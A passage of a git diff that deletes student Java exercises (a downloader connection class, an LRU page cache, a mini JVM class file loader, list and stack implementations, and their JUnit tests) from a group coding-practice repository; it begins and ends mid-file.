-			int offset = 0;
-			InputStream raws = null;
-			BufferedInputStream ins = null;
-			try {
-				raws = urlConnection.getInputStream();
-				ins = new BufferedInputStream(raws);
-
-				int max_size = 1024 * 1024;//1M
-				byte[] data = new byte[max_size];
-
-				int bytesRead = 0;
-				while (bytesRead != -1) {
-					ins.read(data, offset, max_size - offset);
-					offset += bytesRead;
-				}
-			} catch (IOException e) {
-				e.printStackTrace();
-			} finally {
-				try {
-					raws.close();
-					ins.close();
-				} catch (IOException e) {
-					e.printStackTrace();
-				}
-			}
-			length = offset;
-		}
-		return length;
-	}
-
-	@Override
-	public void close() {
-		if(urlConnection != null){
-			urlConnection = null;
-		}
-	}
-
-}
diff --git a/group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java b/group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 5078c7608c..0000000000
--- a/group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package code03.impl;
-
-import code03.api.Connection;
-import code03.api.ConnectionException;
-import code03.api.ConnectionManager;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-import java.io.IOException;
-import java.net.MalformedURLException;
-import java.net.URL;
-import java.net.URLConnection;
-
-/**
- * 获取Connection实例
- */
-
-public class ConnectionManagerImpl implements ConnectionManager {
-	private static final Logger logger = LoggerFactory.getLogger(ConnectionManagerImpl.class);
-
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		Connection connection = null;
-		try {
-			URL _url = new URL(url);
-			URLConnection urlConnection = _url.openConnection();
-			connection = new ConnectionImpl(urlConnection);
-		} catch (MalformedURLException e) {
-			logger.error("url {} format error",url);
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		return connection;
-	}
-
-}
diff --git a/group23/769232552/coding/src/main/java/code04/LRUPageFrame.java b/group23/769232552/coding/src/main/java/code04/LRUPageFrame.java
deleted file mode 100644
index 0ffce58b83..0000000000
--- a/group23/769232552/coding/src/main/java/code04/LRUPageFrame.java
+++ /dev/null
@@ -1,162 +0,0 @@
-package code04;
-
-/**
- * 用双向链表实现LRU算法
- */
-public class LRUPageFrame {
-	
-	private  class Node {
-		
-		Node prev;
-		Node next;
-		int pageNum;
-		Node() {
-		}
-	}
-
-	private int size;
-	private int capacity;
-	
-	private Node first;// 链表头
-	private Node last;// 链表尾
-
-	public LRUPageFrame(int capacity) {
-		this.capacity = capacity;
-		this.size = 0;
-	}
-
-	/**
-	 * 获取缓存中对象
-	 * 1、如果缓存中不存在，则直接加入表头
-	 * 2、如果缓存中存在，则把该对象移动到表头
-	 * @param pageNum
-	 * @return
-	 */
-	public void access(int pageNum) {
-		Node node = hasContains(pageNum);
-		if(node != null){
-			moveToHead(node);
-		}else {
-			addToHead(pageNum);
-		}
-	
-	}
-
-	/**
-	 * 对象是否存在缓存中，如存在则返回该对象在链表中的位置，否则返回null
-	 * @return
-     */
-	private Node hasContains(int key){
-		Node node = this.first;
-		while (node != null){
-			if(node.pageNum == key){
-				return node;
-			}
-			node = node.next;
-		}
-		return node;
-	}
-
-	/**
-	 * 对象加入表头，先先判断缓存是否已经满了
-	 * @return
-     */
-	private void addToHead(int key){
-		Node node = new Node();
-		node.pageNum = key;
-		if(size < capacity){
-			addFirst(node);
-		}else {
-			removeLast();
-			addFirst(node);
-		}
-
-	}
-
-
-	/**
-	 * 对象移动到表头
-	 * @return
-     */
-	private void moveToHead(Node node){
-		if(node == first){
-			return;
-		}
-		if(node == last){
-			node.next = first;
-			first.prev = node;
-			first = node;
-			last = node.prev;
-			last.next = null;
-			node.prev = null;
-			return;
-		}
-		node.prev.next = node.next;
-		node.next.prev = node.prev;
-		node.next = first;
-		node.prev = null;
-		first.prev = node;
-		first = node;
-	}
-
-	/**
-	 * 删除表尾
-	 * @return
-     */
-	private void removeLast(){
-		if(last != null){
-			Node newLast = last.prev;
-			last.prev = null;
-			last = newLast;
-			last.next = null;
-			size --;
-		}
-	}
-	/**
-	 * 添加元素到表头
-	 * @return
-     */
-	private void addFirst(Node node){
-		//0个节点
-		if(first == null){
-			first = node;
-			last = node;
-			size ++;
-			return;
-		}
-		//一个节点
-		else if(first == last){
-			first = node;
-			first.next = last;
-			last.prev = first;
-			size ++;
-			return;
-		}else {
-			node.next = first;
-			first.prev = node;
-			first = node;
-			size ++;
-		}
-	}
-	/**
-	 * 当前链表空间
-	 * @return
-     */
-	public int getSize() {
-		return size;
-	}
-
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = first;
-		while(node != null){
-			buffer.append(node.pageNum);			
-			node = node.next;
-			if(node != null){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}
-	
-}
diff --git a/group23/769232552/coding/src/main/java/mini_jvm/loader/ClassFileLoader.java b/group23/769232552/coding/src/main/java/mini_jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 81e6973856..0000000000
--- a/group23/769232552/coding/src/main/java/mini_jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,108 +0,0 @@
-package mini_jvm.loader;
-
-import java.io.*;
-import java.util.ArrayList;
-import java.util.List;
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-
-	/**
-	 * 读取class文件的二进制代码
-	 * @param className
-	 * @return
-     */
-	public byte[] readBinaryCode(String className) {
-		String clazzPath = getClassPath(className);
-		BufferedInputStream bins = null;
-		ByteArrayOutputStream  bouts = new ByteArrayOutputStream();
-		try {
-			bins = new BufferedInputStream(new FileInputStream(new File(clazzPath)));
-			byte[] buffer = new byte[1024];
-			int length = -1;
-			while((length = bins.read(buffer)) != -1){
-				bouts.write(buffer, 0, length);
-			}
-		} catch (FileNotFoundException e) {
-			e.printStackTrace();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		byte[] codes = bouts.toByteArray();
-		//关闭流
-		try {
-			if(bins != null){
-				//调用外层流的close方法就关闭其装饰的内层流
-				bins.close();
-			}
-			if(bouts != null){
-				bouts.close();
-			}
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		return codes;
-	}
-
-	/**
-	 * 从扫描根目录，获取指定类的绝对路径
-	 * @param className
-	 * @return
-	 */
-	private String getClassPath(String className){
-		String clazzPath = null;
-		//遍历clzPaths中所有路径
-		for (String path : this.clzPaths){
-			File file = new File(path);
-			clazzPath = getClassPath(className,file);
-			if(clazzPath!=null) break;
-		}
-		return clazzPath;
-	}
-
-	private String getClassPath(String className, File file){
-		String clazzPath = null;
-		if(file.exists()){
-			//如果是目录，则遍历所有目录下的文件
-			if(file.isDirectory()){
-				File[] fs = file.listFiles();
-				for (File f : fs){
-					clazzPath = getClassPath(className,f);
-				}
-			}else {
-				//检查是否是该类对应的class文件
-				if(isClazzFile(file.getName(),className)){
-					clazzPath = file.getAbsolutePath();
-				}
-			}
-		}
-		return clazzPath;
-	}
-
-	private boolean isClazzFile(String filename , String className){
-		String fileClazzName = null;
-		String [] names = filename.split("\\.");
-		if(names.length > 0){
-			fileClazzName = names[0];
-		}
-		return className.endsWith(fileClazzName);
-	}
-	
-	public void addClassPath(String path) {
-		clzPaths.add(path);
-	}
-
-	public String getClassPath(){
-		StringBuilder sb = new StringBuilder();
-		int i = 0;
-		for (; i < clzPaths.size() - 1; i++) {
-			sb.append(clzPaths.get(i));
-			sb.append(";");
-		}
-		sb.append(clzPaths.get(i));
-		return sb.toString();
-	}
-}
diff --git a/group23/769232552/coding/src/test/java/code01/ArrayListTest.java b/group23/769232552/coding/src/test/java/code01/ArrayListTest.java
deleted file mode 100644
index 2bfd7f52e1..0000000000
--- a/group23/769232552/coding/src/test/java/code01/ArrayListTest.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package code01;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by yaoyuan on 2017/3/8.
- */
-public class ArrayListTest {
-    ArrayList arrayList;
-    @Before
-    public void setUp(){
-        arrayList = new ArrayList();
-    }
-
-    @Test
-    public void testAdd() throws Exception {
-
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            arrayList.add(str);
-        }
-
-        // size()
-        Assert.assertEquals(array.length,arrayList.size());
-
-        //add(),get()
-        for (int i = 0; i < arrayList.size(); i++){
-            Assert.assertEquals(array[i],arrayList.get(i));
-        }
-    }
-
-    @Test
-    public void testAddWithIndex() throws Exception {
-        ArrayList arrayList2 = new ArrayList(3);//自动扩容
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (int i = 0; i < array.length; i++){
-            arrayList2.add(i,array[i]);
-        }
-        //add(),get()
-        for (int i = 0; i < arrayList2.size(); i++){
-            Assert.assertEquals(array[i],arrayList2.get(i));
-        }
-        arrayList2.add(3,"new");
-        Assert.assertEquals("new",arrayList2.get(3));
-
-
-    }
-
-    @Test
-    public void testRemove() throws Exception {
-
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            arrayList.add(str);
-        }
-        arrayList.remove(0);
-        arrayList.remove(0);
-
-
-        for (int i = 0; i < arrayList.size(); i++) {
-            Assert.assertEquals(array[i+2],arrayList.get(i));
-        }
-
-    }
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java b/group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java
deleted file mode 100644
index 8c1f4e8e09..0000000000
--- a/group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package code01;
-
-import org.junit.Test;
-
-/**
- * Created by yaoyuan on 2017/3/10.
- */
-public class BinaryTreeTest {
-
-    @Test
-    public void testCreateBinaryTree(){
-
-        BinaryTree<Integer> binaryTree1 = new BinaryTree<Integer>();
-        BinaryTree<Integer> binaryTree2 = new BinaryTree<Integer>();
-        Integer[] array1 = new Integer[]{3,4,1,2,5};
-        Integer[] array2 = new Integer[]{3,1,4,5,2};
-        binaryTree1.createBinaryTree(array1);
-        binaryTree2.createBinaryTree(array2);
-        binaryTree1.leftOrderScan(binaryTree1.getRoot());
-        binaryTree2.leftOrderScan(binaryTree2.getRoot());
-    }
-
-    @Test
-    public void testInsert(){
-        BinaryTree<Integer> binaryTree3 = new BinaryTree<Integer>();
-    }
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/LinkedListTest.java b/group23/769232552/coding/src/test/java/code01/LinkedListTest.java
deleted file mode 100644
index 5481783932..0000000000
--- a/group23/769232552/coding/src/test/java/code01/LinkedListTest.java
+++ /dev/null
@@ -1,174 +0,0 @@
-package code01;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-/**
- * Created by yaoyuan on 2017/3/8.
- */
-public class LinkedListTest {
-
-    @Test
-    public void testAdd() throws Exception {
-
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-
-        // size()
-        Assert.assertEquals(array.length,linklist.size());
-
-        //add(),get()
-        for (int i = 0; i < linklist.size(); i++){
-            Assert.assertEquals(array[i],linklist.get(i));
-        }
-
-    }
-
-    @Test
-    public void testAddWithIndex() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-
-        //add(),get()
-        for (int i = 0; i < linklist.size(); i++){
-            Assert.assertEquals(array[i],linklist.get(i));
-        }
-
-        String str = "new";
-        linklist.add(0,str);
-        Assert.assertEquals(str,linklist.get(0));
-
-        linklist.add(3,str);
-        Assert.assertEquals(str,linklist.get(3));
-
-        linklist.add(linklist.size() ,str);
-        Assert.assertEquals(str,linklist.get(linklist.size()-1));
-    }
-
-    @Test
-    public void testRemove() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-
-        //remove(),get()
-        Assert.assertEquals(linklist.remove(0),array[0]);
-        Assert.assertEquals(linklist.size(),array.length - 1);
-
-        Assert.assertEquals(linklist.remove(linklist.size() - 1),array[array.length-1]);
-        Assert.assertEquals(linklist.size(),array.length - 2);
-
-    }
-
-    @Test
-    public void testAddFirst() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        //addFirst(),get()
-        String str = "new";
-        linklist.addFirst(str);
-        Assert.assertEquals(str,linklist.get(0));
-        Assert.assertEquals(linklist.size(),array.length + 1);
-    }
-
-    @Test
-    public void testAddLast() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        //addLast(),get()
-        String str = "new";
-        linklist.addLast(str);
-        Assert.assertEquals(str,linklist.get(linklist.size()-1));
-        Assert.assertEquals(linklist.size(),array.length + 1);
-    }
-
-    @Test
-    public void testRemoveFirst() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        //removeFirst(),get()
-        Assert.assertEquals(linklist.removeFirst(),array[0]);
-        Assert.assertEquals(linklist.size(),array.length - 1);
-    }
-
-    @Test
-    public void testRemoveLast() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        //removeLast(),get()
-        Assert.assertEquals(linklist.removeLast(),array[array.length-1]);
-        Assert.assertEquals(linklist.size(),array.length - 1);
-
-    }
-
-    @Test
-    public void testReverse(){
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        linklist.reverse();
-        for(int i=0; i<array.length; i++){
-            Assert.assertEquals(array[array.length - i-1], linklist.get(i));
-        }
-    }
-
-    @Test
-    public void testremoveFirstHalf(){
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        linklist.removeFirstHalf();
-        for(int i=0; i<array.length/2; i++){
-            Assert.assertEquals(array[i+array.length/2], linklist.get(i));
-        }
-    }
-
-    @Test
-    public void testRemoveDuplicateValues() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","b","b","d","d","d"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        linklist.printList();
-        linklist.removeDuplicateValues();
-        linklist.printList();
-
-    }
-
-    @Test
-    public void testRemove1() throws Exception {
-        LinkedList linklist = new LinkedList();
-        String[] array = new String[]{"a","b","c","d","e","f","g"};
-        for (String str : array){
-            linklist.add(str);
-        }
-        linklist.printList();
-        linklist.remove(0,4);
-        linklist.printList();
-    }
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/QueueTest.java b/group23/769232552/coding/src/test/java/code01/QueueTest.java
deleted file mode 100644
index 1390e3d3be..0000000000
--- a/group23/769232552/coding/src/test/java/code01/QueueTest.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package code01;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-/**
- * Created by yaoyuan on 2017/3/8.
- */
-public class QueueTest {
-
-    @Test
-    public void testQueue() throws Exception {
-        Queue queue = new Queue();
-        String[] array = new String[]{"a","b","c"};
-        for (String str : array){
-            queue.enQueue(str);
-        }
-        int i = 0;
-        while (!queue.isEmpty()){
-            Assert.assertEquals(array[i],queue.deQueue());
-            i ++;
-        }
-    }
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/StackTest.java b/group23/769232552/coding/src/test/java/code01/StackTest.java
deleted file mode 100644
index e4c9878d50..0000000000
--- a/group23/769232552/coding/src/test/java/code01/StackTest.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package code01;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-/**
- * Created by yaoyuan on 2017/3/8.
- */
-public class StackTest {
-
-    @Test
-    public void testStack() throws Exception {
-        Stack stack = new Stack();
-        String[] array = new String[]{"a","b","c"};
-        for (String str : array){
-            stack.push(str);
-        }
-        int i = 2;
-        while (!stack.isEmpty()){
-            Assert.assertEquals(array[i],stack.peek());
-            Assert.assertEquals(array[i],stack.pop());
-            i --;
-        }
-    }
-
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java b/group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java
deleted file mode 100644
index 1277e3dab6..0000000000
--- a/group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java
+++ /dev/null
@@ -1,73 +0,0 @@
-package code02;
-
-import org.junit.Test;
-
-/**
- * Created by yaoyuan on 2017/3/13.
- */
-public class ArrayUtilTest {
-
-    @Test
-    public void testReverseArray() throws Exception {
-        int[] arr1 = new int[]{1,2,3,4,5,6,7};
-        ArrayUtil arrayUtil = new ArrayUtil();
-        arrayUtil.reverseArray(arr1);
-        arrayUtil.printArr(arr1);
-
-
-    }
-
-    @Test
-    public void testRemoveZero() throws Exception {
-        int[] arr1 = new int[]{1,0,2,3,0,0,4,5,6,0};
-        ArrayUtil arrayUtil = new ArrayUtil();
-        int[] arr2 = arrayUtil.removeZero(arr1);
-        arrayUtil.printArr(arr2);
-    }
-
-    @Test
-    public void testMerge() throws Exception {
-        int[] arr1 = new int[]{3, 5, 7, 8};
-        int[] arr2 = new int[]{4, 5, 6, 7};
-        ArrayUtil arrayUtil = new ArrayUtil();
-        int[] arr3 = arrayUtil.merge(arr1,arr2);
-        arrayUtil.printArr(arr3);
-    }
-
-    @Test
-    public void testGrow() throws Exception {
-        int[] arr1 = new int[]{1,2,3,4,5,6,7};
-        ArrayUtil arrayUtil = new ArrayUtil();
-        int[] arr2 = arrayUtil.grow(arr1,3);
-        arrayUtil.printArr(arr2);
-    }
-
-    @Test
-    public void testFibonacci() throws Exception {
-        ArrayUtil arrayUtil = new ArrayUtil();
-        int[] arr1 = arrayUtil.fibonacci(4);
-        arrayUtil.printArr(arr1);
-
-        int[] arr2 = arrayUtil.fibonacci(20);
-        arrayUtil.printArr(arr2);
-    }
-
-    @Test
-    public void testGetPrimes() throws Exception {
-        ArrayUtil arrayUtil = new ArrayUtil();
-        arrayUtil.printArr(arrayUtil.getPrimes(30));
-    }
-
-    @Test
-    public void testGetPerfectNumbers() throws Exception {
-        ArrayUtil arrayUtil = new ArrayUtil();
-        arrayUtil.printArr(arrayUtil.getPerfectNumbers(1000));
-    }
-
-    @Test
-    public void testJoin() throws Exception {
-        int[] arr1 = new int[]{1,2,3,4,5,6,7};
-        ArrayUtil arrayUtil = new ArrayUtil();
-        System.out.println(arrayUtil.join(arr1,"-"));
-    }
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java b/group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java
deleted file mode 100644
index 9213702251..0000000000
--- a/group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package code02.litestruts;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-import java.util.HashMap;
-import java.util.Map;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("Message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("Message"));
-	}
-}
diff --git a/group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java b/group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java
deleted file mode 100644
index cdc58d24b3..0000000000
--- a/group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package code03;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import code03.api.ConnectionManager;
-import code03.api.DownloadListener;
-import code03.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "http://litten.me/assets/blogImg/litten.png";
-
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/769232552/coding/src/test/java/code04/LRUPageFrameTest.java b/group23/769232552/coding/src/test/java/code04/LRUPageFrameTest.java
deleted file mode 100644
index 7448e3ee56..0000000000
--- a/group23/769232552/coding/src/test/java/code04/LRUPageFrameTest.java
+++ /dev/null
@@ -1,38 +0,0 @@
-package code04;
-
-import  org.junit.Assert;
-
-import org.junit.Test;
-
-
-public class LRUPageFrameTest {
-
-	@Test
-	public void testAccess() {
-		LRUPageFrame frame = new LRUPageFrame(3);
-		frame.access(7);
-		frame.access(0);
-		frame.access(1);
-        //1，0，7
-		Assert.assertEquals("1,0,7", frame.toString());
-        frame.access(2);
-        //2，1，0
-		Assert.assertEquals("2,1,0", frame.toString());
-		frame.access(0);
-		//0，2，1
-        Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(0);
-        //0，2，1
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(3);
-        //3，0，2
-        Assert.assertEquals("3,0,2", frame.toString());
-		frame.access(0);
-        //0，3，2
-		Assert.assertEquals("0,3,2", frame.toString());
-		frame.access(4);
-		//4，0，3
-        Assert.assertEquals("4,0,3", frame.toString());
-	}
-
-}
diff --git a/group23/769232552/coding/src/test/java/mini_jvm/ClassFileloaderTest.java b/group23/769232552/coding/src/test/java/mini_jvm/ClassFileloaderTest.java
deleted file mode 100644
index 9602743b02..0000000000
--- a/group23/769232552/coding/src/test/java/mini_jvm/ClassFileloaderTest.java
+++ /dev/null
@@ -1,71 +0,0 @@
-package mini_jvm;
-
-import mini_jvm.loader.ClassFileLoader;
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class ClassFileloaderTest {
-
-
-	static String path1 = "D:\\worksapce\\gitRepo\\java_coding2017\\coding2017\\group23\\769232552\\coding\\target\\classes";
-	static String path2 = "D:\\worksapce\\gitRepo\\java_coding2017\\coding2017\\group23\\769232552\\coding\\target\\test-classes";
-
-
-	ClassFileLoader loader = new ClassFileLoader();
-
-	@Before
-	public void setUp() throws Exception {
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testClassPath(){
-		String clzPath = loader.getClassPath();
-		Assert.assertEquals(path1+";"+path2,clzPath);
-	}
-
-	@Test
-	public void testClassFileLength() {
-		String className = "mini_jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		Assert.assertEquals(1026, byteCodes.length);
-
-	}
-
-
-    @Test
-	public void testMagicNumber(){
-		String className = "mini_jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		String acctualValue = this.byteToHexString(codes);
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-
-
-
-
-
-
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
-}
diff --git a/group23/769232552/coding/src/test/java/mini_jvm/EmployeeV1.java b/group23/769232552/coding/src/test/java/mini_jvm/EmployeeV1.java
deleted file mode 100644
index b06f72b9e2..0000000000
--- a/group23/769232552/coding/src/test/java/mini_jvm/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package mini_jvm;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group23/810181789/src/firstday/ArrayListt.java b/group23/810181789/src/firstday/ArrayListt.java
deleted file mode 100644
index 229c588f33..0000000000
--- a/group23/810181789/src/firstday/ArrayListt.java
+++ /dev/null
@@ -1,86 +0,0 @@
-package firstday;
-
-import java.util.Arrays;
-
-public class ArrayListt {
-    private Object arr[]=new Object[10];
-    private int pos=0;
-    public boolean add(Object o)
-    {
-    	if(pos<arr.length)
-    	{
-    		arr[pos]=o;
-    		pos++;
-    		return true;
-    	}
-    	else if(pos>=arr.length)
-    	{
-    		arr=Arrays.copyOf(arr, arr.length+1);
-    		arr[pos] = o;
-    		pos++;
-    		return true;
-    	}
-    	return false;
-    }
-    public boolean add(Object o, int index)
-    {
-    	if(pos<arr.length)
-    	{
-    		for(int i=index;i<arr.length;i++)
-    		{
-    			arr[i+1]=arr[i];
-    		}
-    		arr[index] = o;
-    		return true;
-    	}
-    	else if(pos>=arr.length)
-    	{
-    		arr=Arrays.copyOf(arr, arr.length+1);
-    		for(int i=arr.length-2;i>=index;i--)
-    		{
-    			arr[i+1] = arr[i];
-    		}
-    		arr[index] = o;
-    		return true; 
-    	}
-    	return false;
-    }
-    public Object get(int i)
-    {
-    	Object o = arr[i];
-    	return o;
-    }
-    public Object remove(int index)
-    {
-    	Object var=arr[index];
-    	for(int i=index+1;i<arr.length;i++)
-    	{
-    		arr[i-1]=arr[i];
-    	}
-    	pos--;
-    	return var;
-    }
-    public int size()
-    {
-    	return pos;
-    }
-    public static void main(String[] args)
-    {
-    	ArrayListt atest = new ArrayListt();
-    	for(int i=0;i<10;i++)
-    	{
-    		atest.add(i);
-    	}
-    	atest.add(99,7);
-    	for(int i=0;i<atest.arr.length;i++)
-    	{
-    		System.out.println(atest.get(i));
-    	}
-    	atest.remove(1);
-    	for(int i=0;i<atest.arr.length;i++)
-    	{
-    		System.out.println(atest.get(i));
-    	}
-    	atest.size();
-    }
-}
diff --git a/group23/810181789/src/firstday/LinkListt.java b/group23/810181789/src/firstday/LinkListt.java
deleted file mode 100644
index 6eee6eae2d..0000000000
--- a/group23/810181789/src/firstday/LinkListt.java
+++ /dev/null
@@ -1,167 +0,0 @@
-package firstday;
-
-import firstday.LinkListt;
-//import firstday.LinkListt.Node;
-
-public class LinkListt {
-  private static class Node
-  {
-	  private Object date=null;
-	  private Node next=null;
-	  public Node(Object o)
-	  {
-		  this.date=o;
-	  }
-  }
-   public Node head=null;
-   public void add(Object o)
-   {
-	   Node nde=new Node(o);
-	   if(head == null)
-	   {
-		   head=nde;
-	   }
-	   else
-	   {
-		   Node order=head;
-		   while(true)
-		   {
-			   if(order.next==null)
-			   {
-				   order.next=nde;
-				   break;
-			   }
-			   order=order.next;
-		   }
-	   }
-   }
-   public void add(int index,Object o)
-   {
-	   int cnt=1;
-	   Node n=head;
-	   while(true)
-	   {
-		   if(cnt==index-1)
-		   {
-			   Node no=new Node(o);
-			   no.next=n.next;
-			   n.next=no;
-			   break;
-		   }
-		   n=n.next;
-		   cnt++;
-	   }
-   }
-   public Object get(int index)
-   {
-	   int cnt=1;
-	   Node n=head;
-	   while(true)
-	   {
-		   if(cnt==index)
-		   {
-			   return n.date;
-		   }
-		   n=n.next;
-		   cnt++;
-	   }
-   }
-   public Object remove(int index)
-   {
-	   int cnt=1;
-	   Node n=head;
-	   Node front=null;
-	   Object re=null;
-	   while(true)
-	   {
-		   if(cnt==index-1)
-		   {
-			   front=n;
-		   }
-		   if(cnt==index)
-		   {
-			   front.next=n.next;
-			   n.next=null;
-			   re=n.date;
-			   n=null;
-			   return re;
-		   }
-		   cnt++;
-		   n=n.next;
-	   }
-   }
-   public int size()
-   {
-	   int cnt=1;
-	   Node n=head;
-	   while(true)
-	   {
-		   if(n.next==null)
-		   {
-			   return cnt;
-		   }
-		   cnt++;
-		   n=n.next;
-	   }
-   }
-   public void addFirst(Object o)
-   {
-	   Node n=new Node(o);
-	   n.next=head;
-	   head=n;
-   }
-   public Object removeFirst()
-   {
-	   Object re;
-	   Node n=head;
-	   head=n.next;
-	   n.next=null;
-	   re=n.date;
-	   n=null;
-	   return re;
-   }
-   public Object removeLast()
-   {
-	   Node n=head;
-	   Node front=null;
-	   Object re=null;
-	   while(true)
-	   {
-		   if(n.next==null)
-		   {
-			   re=n.date;
-			   front.next=null;
